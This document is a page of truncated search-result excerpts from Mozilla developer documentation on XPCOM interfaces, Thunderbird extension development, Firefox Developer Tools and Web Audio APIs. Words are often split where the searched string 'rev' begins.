revious call to compilequery() from this query processor. this method may be called multiple times, typically with different values for aref. nsisimpleenumerator generateresults( in nsisupports adatasource, in nsixultemplateresult aref, in nsisupports aquery ); parameters adatasource datasource for the data. aref context reference value used as a starting point. aquery the compiled query retu...
nsIZipReaderCache
tinnerzip( in nsifile zipfile, in autf8string zipentry ); parameters zipfile the zip file. zipentry the zip entry. return value the nsizipreader for the given zip file. getzip() returns a (possibly shared) cached nsizipreader for a zip file. if the zip reader for the given file is not in the cache, a new nsizipreader is opened (see nsizipreader.open()). otherwise the p
reviously created nsizipreader is returned. note: if nsizipreader.close has been called on the shared nsizipreader, this method will return the closed nsizipreader nsizipreader getzip( in nsifile zipfile ); parameters zipfile the zip file. return value the nsizipreader for the given zip file. init() initializes a new zip reader cache. void init( in unsigned long cachesize ); parameter...
XPCOM Interface Reference by grouping
rorlistener stream stream nsipipe nsitraceablechannel nsitransport nsitransporteventsink nsitransportsecurityinfo timer nsitimer nsitimercallback ui windows nsitaskbarp
review nsitaskbarp
reviewbutton nsitaskbarp
reviewcontroller nsitaskbarprogress nsitaskbartabp
review nsitaskbarwindowp
review nsiwintaskbar nsialertsservice nsiwebprogress nsiwebprogresslistener nsiwebprogresslistener2 update nsiupdate nsiupdatec...
nsMsgViewCommandType
messages. downloadselectedforoffline 16 download the selected messages for offline. downloadflaggedforoffline 17 download all flagged messages for offline. selectthread 18 select the entire thread. selectflagged 19 select all flagged messages. cmdrequiringmsgbody 20 used with nsimsgdbview.getcommandstatus() to determine if commands requiring the message body (i.e. reload or print p
review) are available. label0 21 attach a label to the selected messages. label1 22 attach a label to the selected messages. label2 23 attach a label to the selected messages. label3 24 attach a label to the selected messages. label4 25 attach a label to the selected messages. label5 26 attach a label to the selected messages. lastlabel 26 attach a label to the selected messages.
Setting HTTP request headers
pens just before each http request). unregistering you should unregister the observer on shutdown. failing to do that may cause memory leaks. to unregister the observer use nsiobserverservice.removeobserver as follows: observerservice.removeobserver(httprequestobserver, "http-on-modify-request"); all-in-one example here is a slightly different version of our httprequestobserver object. while the p
revious version we showed before was good for learning, in an actual real-world application, you'd probably want to code it more like the following. var httprequestobserver = { observe: function(subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); httpchannel.setrequestheader("x-hello", "world", false); }...
Reference Manual
is defined. such a cast can easily by-pass nscomptrs machinery, causing leaks, type mismatches, and other calamities. // old-style c/c++ casts by-pass |nscomptr|s machinery and cause leaks... nsresult rv; nscomptr<nsifoo> foo = ...; // ... rv = getfoo( (nsifoo**)&foo ); rv = getfoo( &(nsifoo*)foo ); // sure, they compile; but now you leak. to help p
revent this, we are trying to make the first form, above, illegal by making operator& private. see bug 59414. implementation details and debugging machinery although it is a class, nscomptr has no virtual methods, and therefore, no vtable or vptr. because a few key routines are factored out into a common non-template base class, the actual underlying pointer is stored as an nsisupports* (except in de...
Status, Recent Changes, and Plans
to cast getter_addrefs when an nsisupports** is needed. relaxed the invariant for nscomptr<nsisupports>, so that it is now a pointer to any xpcom interface. added do_queryreferent to make using nsiweakreferences easier. plans for nscomptr bug 59212: as soon as we test on more compilers, start recommending already_addrefed as a function result. bug 59414: making operator& private may help p
revent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library. recent changes to this document removed the statement that == and != between an nscomptr and a raw pointer or literal 0 does not work on some compilers since it is no longer true. added an entire section to the getting started guide on nsc...
Using nsIPasswordManager
zachlipton 22:52, 18 july 2006 (pdt) the code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x. for similar functionality in toolkit 1.9, see using nsiloginmanager. ...
Using the Gecko SDK
faces (c++ vtables) and <tt>extern "c"</tt> symbols exported from the xpcom library and the nspr libraries. the abi of the component interfaces depends on the c++ abi of the host compiler (i.e., the vtable format and calling conventions of the virtual methods may vary from compiler to compiler). the gecko abi is therefore compiler sensitive. (<tt>about:buildconfig</tt> can be loaded in mozilla to
reveal details about the compiler that was used.) for the remainder of this guide, we'll assume you are developing components under linux. (ports of this guide are welcome.) a "frozen" interface or function is guaranteed to be supported by future versions of same major version of the platform. the sdk contains headers for all of the frozen interfaces and functions, and it also contains headers for cl...
Using the clipboard
escription above). tell the transferring object about the flavor of data you want to get. retrieve the data from the clipboard and put it in the transferable. get the data from the transferring object. the first steps are similar to that used for copying: var trans = transferable(); trans.adddataflavor("text/unicode"); recall that transferable() is a function from the boilerplate in the p
revious section. instead, you can create a ci.nsitransferable instance. the boilerplate may be a better method, but this method works as well. var trans = cc["@mozilla.org/widget/transferable;1"].createinstance(ci.nsitransferable); trans.init(null) trans.adddataflavor("text/unicode"); this code gets the system clipboard object and a transferable object. the flavor is added to the transferable. nex...
Weak reference
if ( tempfooptr ) tempfooptr->somefoomethod(...); // else, the `real' object has gone away } in a real world example, however, you are more likely to be holding a weak reference in a member variable. in the following example, an nsobservable must keep some kind of a reference to each observer, in order to report events. the nsobservable doesn't want to keep the observers alive just to p
revent a dangling pointer, however. so, instead of holding an owning reference to an nsiobserver, it holds a weak reference. the weak reference doesn't artificially extend the life of the observer, and yet, it can never dangle. the following assumes that any nsiobserver that is passed in also implements nsisupportsweakreference. you can extrapolate from managing a single observer to managing a list ...
XSLT 2.0
to connect with the java-based saxon-b library, and adds support for having xslt performed automatically when visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor). for developers saxon-ce a javascript api is provided for initiating an xslt 2.0 transform from a web page. error and diagnostics output from saxon-ce can be
reviewed in the firefox developer console or in firebug. saxon-b the extension demonstrates how one can use liveconnect code to communicate with the saxon-b library, but one might find the javascript code module approach used inside the extension xquseme as a more reusable approach. the code does not currently work on the mac (except for server edition supporting java 1.6) due to its lagging java ...
Xray vision
standard object or array prototype, without any modifications that content may have done to that prototype. the xray always inherits from this standard prototype, even if the underlying instance has a different prototype. if a script has created a property on an object instance that shadows a property on the prototype, the shadowing property is not visible in the xray second, we want to p
revent the chrome code from running content code, so functions and accessor properties of the object are not visible in the xray. these rules are demonstrated in the script below, which evaluates a script in a sandbox, then examines the object attached to the sandbox. to test out examples like this, you can use the scratchpad in browser context for the code snippet, and the browser console to see...
Autoconfiguration in Thunderbird
is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g. <https://autoconfig.thunderbird.net/v1.1/freenet.de>. current process: file a bug in bugzilla, product "webtools", component "ispdb database entries", with a configuration file that matches the requirements described below. the component is actively watched for new bugs (as of november 2015) so there is no need to request
review on the file. configuration server at isp given the email address "fred@example.com", thunderbird checks <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com> (preferred) and <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> and the same urls with http (see section ssl below). the results are used in this order of preference. if possible, please ...
Creating a gloda message query
loda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together. so if we had a "color" constraint such as query.color("red", "green", "blue") would mean any of red, green, or blue is okay. constraints are "and"ed together. so if we had a "shape" constraint such as query.shape("square") and we combined it with the p
revious color constraint it would match a red square, a green square, or a blue square. query.involves(identity1, identity2, ...): add the constraint that the message must "involve" one of the identities provided. an identity is involved if the message was to them, from them, or carbon-copied to them. gloda.from, gloda.to, gloda.cc: just like gloda.involves, but specific to from/to/cc. gloda.dat...
Mail and RDF
as a folder listener rdf template registers itself with the datasource as a content observer. notification: folder data changes. folder notifies mail session that it's data changed. mail session notifies folder listeners that the folder has changed. folder datasource notifies rdf content observers of the changes. content observers update ui. an aside: rational behind the design after
reviewing this design, it might seem unnecessary to have the double-levels of notification/registration. why can't folders directly notify the rdf content observers when things change? here is the rational behind this design: it keeps all rdf datasource-related code in one place and out of the messages and folders themselves. this allows the mail code to be mostly free of rdf. the actual dependan...
Mail composition back end
ode" argument of the createandsendmessage and sendmessagefile methods. if the caller passes in nsmsgqueueforlater. sending unsent messages the back end has the ability to send all messages that are currently stored in the user defined "unsent messages or drafts" folder. (see send later above) the nsimsgsendlater is the interface that allows the caller to send all of the files p
reviously stored. the caller will implement an nsimsgsendlaterlistener interface to monitor the progress of the send operations. the following describes the methods of the nsimsgsendlater interface. this method is performs the send operations asynchronously. the sendunsentmessages method will send all queued messages. ns_imethod sendunsentmessages(nsimsgidentity *identity, - the user...
Main Windows
based off of early firefox code, but is not exactly the same. you’ll sometimes see reimplementations of things that are already in toolkit, written specially for thunderbird. messenger.xul the base mail window that you see when you first open thunderbird is messenger.xul: messenger.xul itself doesn’t contain a lot. its main focus is on handling the folderpane, threadpane, and the message p
review sections shown above. the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript. mailoverlay.xul a really small overlay that only adds a few “n...
Message Interfaces
sed to retrieve address, subject and related header information for a mail message. nsimsgdbhdr nsimsgdbhdr - this interface describes headers for mail messages. it is a child of nsimsghdr (see above). nsimsgthread nsimsgthread - this interface is used to interact with threads in thunderbird. nsimsgdbview nsimsgdbview - the nsimsgdbview interface handles the display of mail in the threadpane and p
review pane of thunderbird and other xpcom based mail cients. ...
Building a Thunderbird extension 3: install manifest
extension works with thunderbird 5.0 and any subsequent 5.0.x releases. see valid application versions for a list of the supported version numbers and formats. there are more optional elements that can be specified in install.rdf. these are described on the install manifests page. note that elements can be specified in any order, as long as they are children of the <description> node. « p
revious next » ...
Building a Thunderbird extension 5: XUL
t> tag that contains a reference to the javascript file overlay.js. in the next section you will learn how to use javascript to modify your label so that it shows the current date. the overlay.js file will be created in a later section and your add-on will still work if the file is missing. for now you can ignore this line, but remember that this is how you reference a javascript file. « p
reviousnext » ...
Building a Thunderbird extension 6: Adding JavaScript
ws us to call the startup function repeatedly with an interval of 60000ms (every minute). further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (overview of all dom objects in gecko) you may also find the javascript cheat sheet very useful. « p
reviousnext » ...
Demo Addon
beginning with the rootfolder, with folder.getflag(ci.nsmsgfolderflags.inbox) we check whether the folder is the inbox. then we store the folder name in a string to display it later on the screen and mark it with an * if it is the inbox. afterwards, we check every folder for subfolders. we then go into each subfolder and start ov...
Finding the code for a feature
d look for "cmd_tag". i see it occurs in mail3panewindowcommands.js a couple of times. i look at the last occurrence, and see it is just an enable item with no real action involved. oops, i guess i need to get the submenu instead. repeating this process, i see that the submenu items all call a function togglemessagetagmenu. looking that up in mxr, its underlying function uses a very strange call p
revhdrfolder[toggler](messages, key) to change the key. trying to figure that out from the code, i see that is just a clever way to do the addkeywordstomessages or removekeywordsfrommessages method call. (please don't do that guys, it really makes code search difficult!) so the answer the your question is, use the nsimsgfolder method "addkeywordstomessages" (and now i remember that i knew that!). i...
Styling the Folder Pane
.getnumunread(false) indicates whether or not subfolders have unread messages. noselect-{true, false} afolder.noselect indicates whether or not the folder is selectable. imapshared-{true, false} afolder.imapshared indicates whether or not the folder is a shared folder. specialfolder-smart -- indicates that the folder is a child of a unified folder (p
reviously known as smart folder) in the smart folders view. ...
Tips and Tricks from the newsgroups
message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to p
revent pop messages from getting garbled during message retrieval ...
Thunderbird extensions
n getting started with thunderbird a brave, young developer wants to develop an add-on for thunderbird. these links to help through this journey. start by reading the tutorial and learn how to build a thunderbird extension. also see thunderbird 57-60 add-ons guide for changes introduced in thunderbird 60. read about the main windows to learn about « thread pane », « p
review pane », and « folder pane ». play with a demo add-on that exercises some more advanced thunderbird-specific features want to do even more? don't reinvent the wheel: steal from the thunderbird-stdlib project (doc here). functions for dealing with messages (delete, archive, change tags, etc.) are included. mailutils.js. haven't found what you need? read the thunderbird how-tos;...
Using the Multiple Accounts API
ough some tricks with server and identity keys, to share servers and identities between accounts. you can do this by referring to the same identity or server key in the preferences, or with clever calls to the account manager. (left as an exercise for the reader.)this will work but it is not supported. the ui will act slighty strange when you share information between accounts. the current plans p
revent sharing of information between accounts using the ui. relevant api calls: nsimsgaccount nsimsgaccountmanager.createaccount() nsimsgaccount nsimsgaccountmanager.getaccount(in string key) nsimsgincomingserver nsimsgaccountmanager.createincomingserver(in string type) nsimsgincomingserver nsimsgaccountmanager.getincomingserver(in string key) smtp servers smtp servers are kept se...
libmime content type handlers
nent of seamonkey. a necessary capability of this module is to dynamically add the ability to decode and render various content types. this functionality will be accomplished via content type handler plugins for libmime. libmime has a homegrown object system written in c, and since the content type handler plugins need to exist in this module, a description of the libmime object system should be
reviewed and understood. api's content type handler plugins are dynamically loaded and need to access internal pointers, functions that are part of the c based object system. the following xp-com interface is implemented by libmime and is necessary for content type handler plugin development. /* * this interface is implemented by content type handlers that will be * called upon by libmime to p...
Thunderbird
gether all their email accounts, chat, newsgroup and feed reading in a familiar high-productivity environment. (from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the comm-central repository. there's also information about how the
review process works and how to use the mozilla symbol server to help with debugging. mailnews protocols rough documentation about mail protocols.. database views backend information about nsimsgdbview and related interfaces. thunderbird api documentation thunderbird api documentation extension documentation tutorials and tips for building thunderbird extension...
Using the Mozilla symbol server
this allows debugging of those builds without forcing all users to download large debugging files. the server functions like microsoft's symbol server so the documentation there can be useful. note that because mozilla release builds are heavily optimized, debugging is not always easy. ...
Using Objective-C from js-ctypes
globalblock; // global flags bl.flags = block_const.block_has_stret; bl.reserved = 0; bl.invoke = afunctypeptr; // create descriptor var desc = block_descriptor_1(); desc.reserved = 0; desc.size = block_literal_1.size; // set descriptor into block literal bl.descriptor = desc.address(); return bl; } an example of this function in use can be seen here: _ff-addon-snippet-objc_monito
revents - shows how to monitor and block mouse and key events on mac os x ...
Standard OS Libraries
is a stack under gtk+. gtk+ is the toolkit to build apps, gdk is more low-level. to be precise, x is "just" like a display machine. on top of which everybody uses "window managers" (known as "wm"s) such as fluxbox, i3, awesome, openbox, mutter (used by gnome 3), plasma (used by kde) etc. gnome and kde are "desktop environments" (known as "de"s). wms on ubuntu work a little differently but we'll
revisit this topic later in this article (did you know they have a *special* firefox build for ubuntu?). so des are a stack over wms. there is also a layer known as shell, gnomeshell is the shell used in gnome 3, it is the outter shell. gtk+ is the framework used under firefox (and other mozilla applications like thunderbird). the other framework used in unix systems is qt. firefox is officially su...
Working with data
ted automatically for you. just pass in the javascript string object. however, when c functions return, they still return a char.ptr or jschar.ptr (that is, a pointer to an 8-bit or 16-bit array of characters). you'll have to convert those yourself, as covered above. making non-null terminated strings if for some reason non-null terminated strings are needed, this can also be accomplished. ...
ABI
http://en.wikipedia.org/wiki/x86_calling_conventions abi abi stands for "application binary interface". ...
StructType
.pointertype(the_type). read only. size number the size of the type, in bytes. this is the same value as the c sizeof. read only. note: ctypes.void_t.size is undefined. method overview define(fields) methods inherited from ctype ctype array([n]) string tosource() string tostring() methods define() defines a p
reviously declared opaque type's fields. this lets you convert an opaque structure type into a defined structure type. define( fields ); parameters fields a field specification, as described above. structtype cdata syntax cdata structtype(); structtype is structtype ctype. return value a cdata representing the newly allocated struct. exceptions thrown error fields are not yet def...
Plug-in Basics - Plugins
ributes and pass them along to the plug-in with the rest of the attributes. the plug-in must scan its list of attributes to determine whether it should automatically start the video and loop it on playback. note that with an object element, param values are also sent in this array after the attributes, separated by a param entry. plug-in references the mozilla plug-ins project page « p
reviousnext » ...
DOM Inspector FAQ - Firefox Developer Tools
ow can i get rid of them? those text nodes are actually the newlines and spacing between the elements. please see bug 26179 for a lengthy discussion of why they are there. the good news is, you can hide these whitespace nodes in inspector by unchecking the view > show whitespace nodes menu item. note that not all empty text nodes will be hidden. those nodes whose white-space css property value p
revents the user-agent from collapsing sequences of whitespace will not be hidden. i'm having trouble finding a specific node in the dom tree. isn't there is a faster way to find it than navigating the tree? sure. you can do a search via the node's name, id, or an attribute/value pair. choose the find nodes... menu item from the edit menu in an inspector window that is inspecting the document you w...
Introduction to DOM Inspector - Firefox Developer Tools
iece of the user interface are defined. one common use of the dom inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. if you're inspecting a chrome document, as you select nodes in the dom nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. ...
Break on DOM mutation - Firefox Developer Tools
u execute the code, the debugger will pause execution when the dom mutation occurs. in the following example, the selected node (the unordered list) is modified by adding a new child node. the panel on the right shows that execution is "paused on dom mutation" and you, as with any other breakpoint, you can see the call stack and view any watch expressions you may have set up. inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through. see set a breakpoint > inline variable p
review for more information. ...
Step through code - Firefox Developer Tools
t your devtools open in a separate window, as many people do, it can be easier to have the buttons available right there to move the code forward while you are looking at the result. if you want to turn this feature off, since firefox 71 you can do so by going to about:config in a new tab, setting the devtools.debugger.features.overlay pref to false, and restarting the browser. inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through. see set a breakpoint > inline variable p
review for more information. ...
Set an XHR breakpoint - Firefox Developer Tools
an xhr request, the righthand pane will have two additional sections: call stack the list of functions that were executed in order ot get to the currently executing code. click on an item in the call stack to jump to the associated line in the code display. scopes a list of the values that are in scope in the function, method, or event handler where the break occurred. inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through. see set a breakpoint > inline variable p
review for more information. ...
Set event listener breakpoints - Firefox Developer Tools
e in jquery the event was fired: filter by event type also added to firefox 71 is a new filter by event type... text input, which can also be found at the top of the event listener breakpoints list. when you click in this input and type a search term, the list of event listener types will filter by that term allowing you to find the events you want to break on more easily. inline variable p
review new in firefox 71, the source pane now gives you an instant p
review of the variables on each line of code you've stepped through. see set a breakpoint > inline variable p
review for more information. ...
Source map errors - Firefox Developer Tools
error: "version" is a required argument original source missing an original source may be missing. you may encounter this when trying to open one of the original sources in the debugger. the message looks a little different in this case: in this case, the error will also be displayed in the source tab in the debugger: networkerror when attempting to fetch resource a bug in firefox p
revents it from loading source maps for web extensions. see bug 1437937: webextensions doesn't find source maps for details. source-map-fehler: typeerror: networkerror when attempting to fetch resource. ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually change the map url to a public one ...
Debugger.Environment - Firefox Developer Tools
ordinary javascript object (not a debugger.object instance) whose optimizedout property is true. this is not an invocation function; if this call would cause debuggee code to run (say, because the environment is a "with" environment, andname refers to an accessor property of the with statement’s operand), this call throws a debugger.debuggeewouldrun exception. setvariable(name,value) sto
revalue as the value of the variable bound toname in this environment.name must be a string that is a valid ecmascript identifier name;value must be a debuggee value. if this environment binds no variable namedname, throw a referenceerror. this is not an invocation function; if this call would cause debuggee code to run, this call throws a debugger.debuggeewouldrun exception. find(name) retur...
Debugger.Memory - Firefox Developer Tools
stamp, } here the timestamp values are timestamps of the gc slice’s start and end events. reason a very short string describing the reason why the collection was triggered. ...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
r the count, we see the function name, and the source code location of the call site or allocation. the (root) node's count includes objects allocated in the content page by the web browser, like dom events. indeed, this display shows that popup.xml and content.js, which are internal components of firefox, allocated more objects in the page's compartment than the page itself. (we will probably
revise the allocation log to present such allocations in a way that is more informative, and that exposes less of firefox's internal structure.) as expected, the onclick handler is responsible for all allocation done by the page's own code. (the line number for the onclick handler is 1, indicating that the allocating call is located on line one of the handler text itself. we will probably change t...
Dominators - Firefox Developer Tools
this article provides an introduction to the concepts of reachability, shallow versus retained size, and dominators, as they apply in garbage-collected languages like javascript. these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will p
revent the garbage collector from freeing that extra memory. you can see the dominators in a page using the dominators view in the memory tool. with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory. they can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. reachability...
Dominators view - Firefox Developer Tools
emory tool includes a new view called the dominators view. this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. if you already know what shallow size, retained size, and dominators are, skip to the dominators ui section. otherwise, you might want to
review the article on dominators concepts. dominators ui to see the dominators view for a snapshot, select "dominators" in the "view" drop-down list. it looks something like this: the dominators view consists of two panels: the dominators tree panel shows you which nodes in the snapshot are retaining the most memory the retaining paths panel (new in firefox 47) shows the 5 shortest retaining...
Network request list - Firefox Developer Tools
aced)" depending on the faster source. this feature is called race cache with network (rcwn). if the resource was blocked, the message indicates why it was blocked. for example, "csp", "malware", "cors missing allow origin", "blocked by [name of extension]". size: the size of the transferred resource. ...
Edit fonts - Firefox Developer Tools
can copy the url to the font file by clicking on the icon to the right of the url. the @font-face descriptor that loads the font into the page, in the case of web fonts. the descriptor is expandable — when opened it shows its full syntax as defined in the stylesheet. a text sample, to give you an idea of what the font looks like when rendered. the default text for the sample is "abc" but the p
review text can be edited by clicking on the input field at the top of the section and entering a new value. once entered, all of the sample text will be set to the same custom value. variable font support in firefox developer tools firefox 62 added support for variable fonts and firefox 63 features support for editing the properties of variable fonts in the font editor. what are variable fonts? ...
Examine and edit CSS - Firefox Developer Tools
the rules applying to the current node that try to set the same property: that is, the complete cascade for the given property. this makes it easy to see which rule is overriding the declaration: view @media rules for print you can toggle the display into a mode that emulates @media rules for print. when on, any rules defined for printing the page will be displayed similar to the "print p
review" mode that many word processing applications provide. view @media rules for color-scheme-preference as of firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the configuration editor to enable this feature. if you have set privacy.resistfingerprinting to true, prefers-color-scheme preference is overridden to light. in order to use this simulator, you must...
Examine and edit HTML - Firefox Developer Tools
ugh with a limited featureset — you can't, for example, drag and drop or delete shadow dom nodes). if a shadow dom contains a "slotted" element (an element with a slot attribute after it has been inserted inside a <slot> element — see adding flexibility with slots for an explanation of how these are used), the "slotted" element will be shown inside its corresponding <slot> element, with a "
reveal" link alongside it. clicking the "
reveal" link will highlight the element with the slot attribute as it exists outside the shadow dom this is very useful when you've got a <slot> element and you can't find the source of its content. note: shadow dom inspection was implemented in firefox 61, but was hidden behind the dom.webcomponents.shadowdom.enabled pref until firefox 63. it is now turn...
View background images - Firefox Developer Tools
in the rules view, you can see a p
review of images specified using background-image. just hover over the rule: from firefox 41, if you right-click the image declaration, you'll see an option to copy the image as a data: url: ...
Animation inspector example: Web Animations API - Firefox Developer Tools
nkeyframeoptions); var noteanimation = note.animate(notekeyframeset, notekeyframeoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } if (e.target.id != "icon") { return; } if (firsttime) { iconanimation.play(); noteanimation.play(); firsttime = false; } else { iconanimation.
reverse(); noteanimation.
reverse(); } } document.addeventlistener("click", animatechannel); ...
Work with animations - Firefox Developer Tools
s @keyframes rules, or the web animations api. starting in firefox 48, it will show animations applied to the ::before and ::after pseudo-elements. to see how it works, we'll walk through an example. the box below contains a grayscale icon, representing firefox developer edition. if you click the icon, it enlarges and changes to color, and the name of the browser appears. click the icon again to
reverse the effect. these animations are made using the web animations api. let's use the animation inspector to see what's going on in this example. right-click in the box and select "inspect element" make sure the selected element is the <div class="channel"> switch over to the "animations" tab play the animation let's take a closer look at the contents of the animation inspector here...
Call Tree - Firefox Developer Tools
t relevant to the performance of your site. by default, the call tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on firefox. if you want to see the details, check "show gecko platform data" in the settings. using an inverted, aka bottom-up, call tree an inverted call tree
reverses the order of all stacks, putting the leafmost function calls at the top. the direct consequence is that this is a view that focuses more on the function's self time information. this is a very useful view to find some hot spot in your code. to display this view, click the gear icon on the right-hand end of the performance tab and select invert call tree. ...
Flame Chart - Firefox Developer Tools
ayed in the flame chart 1) mouse wheel up/down in the flame chart. 2) trackpad 2 fingers up/down in the flame chart. pan: move the selected portion of the complete profile left and right 1) click and drag the selected portion in the recording overview pane. 2) click and drag anywhere in the flame chart. an example to see how the flame chart can
reveal the behavior of your program, we'll look at a simple example. we'll use the same example as in the call tree page: a program that compares three different sorting algorithms. there's a separate page that gives an overview of this program's structure. we'll use the same profile file as that used in the call tree page. in the call tree page, we figured out that the program call graph in that pr...
Responsive Design Mode - Firefox Developer Tools
values associated with each device, are taken from https://github.com/mozilla/simulated-devices. you can also define a custom device, as described below. creating custom devices you can create and save custom devices in responsive design mode by clicking the add custom device button. each device can have its own: name size devicepixelratio user agent string touch screen also, you can p
review the properties of existing devices by hovering over the name in the device modal, where they display in a tooltip. network throttling if you do all your development and testing using a very fast network connection, users may experience problems with your site if they are using a slower connection. in responsive design mode, you can instruct the browser to emulate, very approximately, the c...
Taking screenshots - Firefox Developer Tools
screenshot of the current page. by default, the image file will be named screen shot yyy-mm-dd at hh.mm.ss.png. tip: you could type :s and then hit tab to autocomplete :screenshot. the command has the following optional parameters: command type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard. p
revents saving to a file unless you use the --file option to force file writing. --delay number the number of seconds to delay before taking the screenshot; you can use an interger or floating point number. this is useful if you want to pop open a menu or invoke a hover state for the screenshot. --dpr number the device pixel ratio to use when taking the screenshot. value...
Web Console Helpers - Firefox Developer Tools
elector string the css query selector for a single element on the page. when supplied, only this element will be included in the screenshot. :unblock (starting in firefox 80) followed by an unquoted string, removes blocking for urls containing that string. in the network monitor, the string is removed from the request blocking sidebar. no error is given if the string was not p
reviously blocked. values() given an object, returns a list of the values on that object; serves as a companion to keys(). please refer to the console api for more information about logging from content. variables tempn the "use in console" option in the inspector generates a variable for a node named temp0, temp1, temp2, etc. referencing the node. examples looking at the contents of a do...
AbstractWorker - Web APIs
terface that defines properties and methods that are common to all types of worker, including not only the basic worker, but also serviceworker and sharedworker. as an abstract class, you don't directly interact with abstractworker. properties the abstractworker interface doesn't inherit any properties. event handlers abstractworker.onerror an eventlistener which is invoked whenever an erro
revent of type error bubbles through the worker. methods the abstractworker interface doesn't implement or inherit any methods. example as an abstract interface, you won't directly use abstractworker in your code. instead, you'll interact with either worker or sharedworker, both of which inherit the properties of abstractworker. this code snippet demonstrates the creation of a new worker using ...
AnalyserNode.smoothingTimeConstant - Web APIs
the last buffer the analysernode processed, and results in a much smoother set of value changes over time. syntax var smoothvalue = analysernode.smoothingtimeconstant; analysernode.smoothingtimeconstant = newvalue; value a double within the range 0 to 1 (0 meaning no time averaging). the default value is 0.8. if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the p
revious and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls. in technical terms, we apply a blackman window and smooth the values over time. the default value is good enough for most cases. note: if a value outside the range 0–1 is set, an index_size_err exception is t...
Animation.playState - Web APIs
= animation.playstate; animation.playstate = newstate; value idle the current time of the animation is unresolved and there are no pending tasks. running the animation is running. paused the animation was suspended and the animation.currenttime property is not updating. finished the animation has reached one of its boundaries and the animation.currenttime property is not updating. p
reviously, web animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete. this is now indicated by the separate animation.pending property. example in the growing/shrinking alice game example, players can get an ending with alice crying into a pool of tears. in the game, for performance reasons, the tears should only be animating...
Attr.localName - Web APIs
syntax name = attribute.localname return value a domstring representing the local part of the attribute's qualified name. example the following example shows "id" in an alert dialog. ...
AudioBufferSourceNode - Web APIs
plays of the sound. indeed, you can use these nodes in a "fire and forget" manner: create the node, call start() to begin playing the sound, and don't even bother to hold a reference to it. it will automatically be garbage-collected at an appropriate time, which won't be until sometime after the sound has finished playing. multiple calls to stop() are allowed. the most recent call replaces the p
revious one, if the audiobuffersourcenode has not already reached the end of the buffer. number of inputs 0 number of outputs 1 channel count defined by the associated audiobuffer constructor audiobuffersourcenode() creates and returns a new audiobuffersourcenode object. an audiobuffersourcenode can be instantiated using the audiocontext.createbuffe...
AudioContext.close() - Web APIs
udiocontext interface closes the audio context, releasing any system audio resources that it uses. closed contexts cannot have new nodes created, but can decode audio data, create buffers, etc. this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might p
revent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data. the returned promise resolves when all audiocontext-creation-blocking resources have been released. this method throws an invalid_state_err exception if called on an offlineaudiocontext. syntax var audioctx = new audiocontext(); audioctx.close().th...
AudioContext.resume() - Web APIs
this method will cause an invalid_state_err exception to be thrown if called on an offlineaudiocontext. syntax completepromise = audiocontext.resume(); parameters none. return value a promise that resolves when the context has resumed. the promise is rejected if the context has already been closed. ...
AudioContext - Web APIs
computer. audiocontext.createmediastreamtracksource() creates a mediastreamtrackaudiosourcenode associated with a mediastream representing an media stream track. audiocontext.getoutputtimestamp() returns a new audiotimestamp object containing two audio timestamp values relating to the current audio context. audiocontext.resume() resumes the progression of time in an audio context that has p
reviously been suspended/paused. audiocontext.suspend() suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process. examples basic audio context declaration: var audioctx = new audiocontext(); cross browser variant: var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audioco...
AudioListener - Web APIs
hese methods are deprecated they are currently the only way to set the orientation and position in firefox, internet explorer and safari. deprecated features audiolistener.dopplerfactor a double value representing the amount of pitch shift to use when rendering a doppler effect. audiolistener.speedofsound is a double value representing the speed of sound, in meters per second. in a p
revious version of the specification, the dopplerfactor and speedofsound properties and the setposition() method could be used to control the doppler effect applied to audiobuffersourcenodes connected downstream — these would be pitched up and down according to the relative speed of the pannernode and the audiolistener. these features had a number of problems: only audiobuffersourcenodes were pi...
AudioNode.connect() - Web APIs
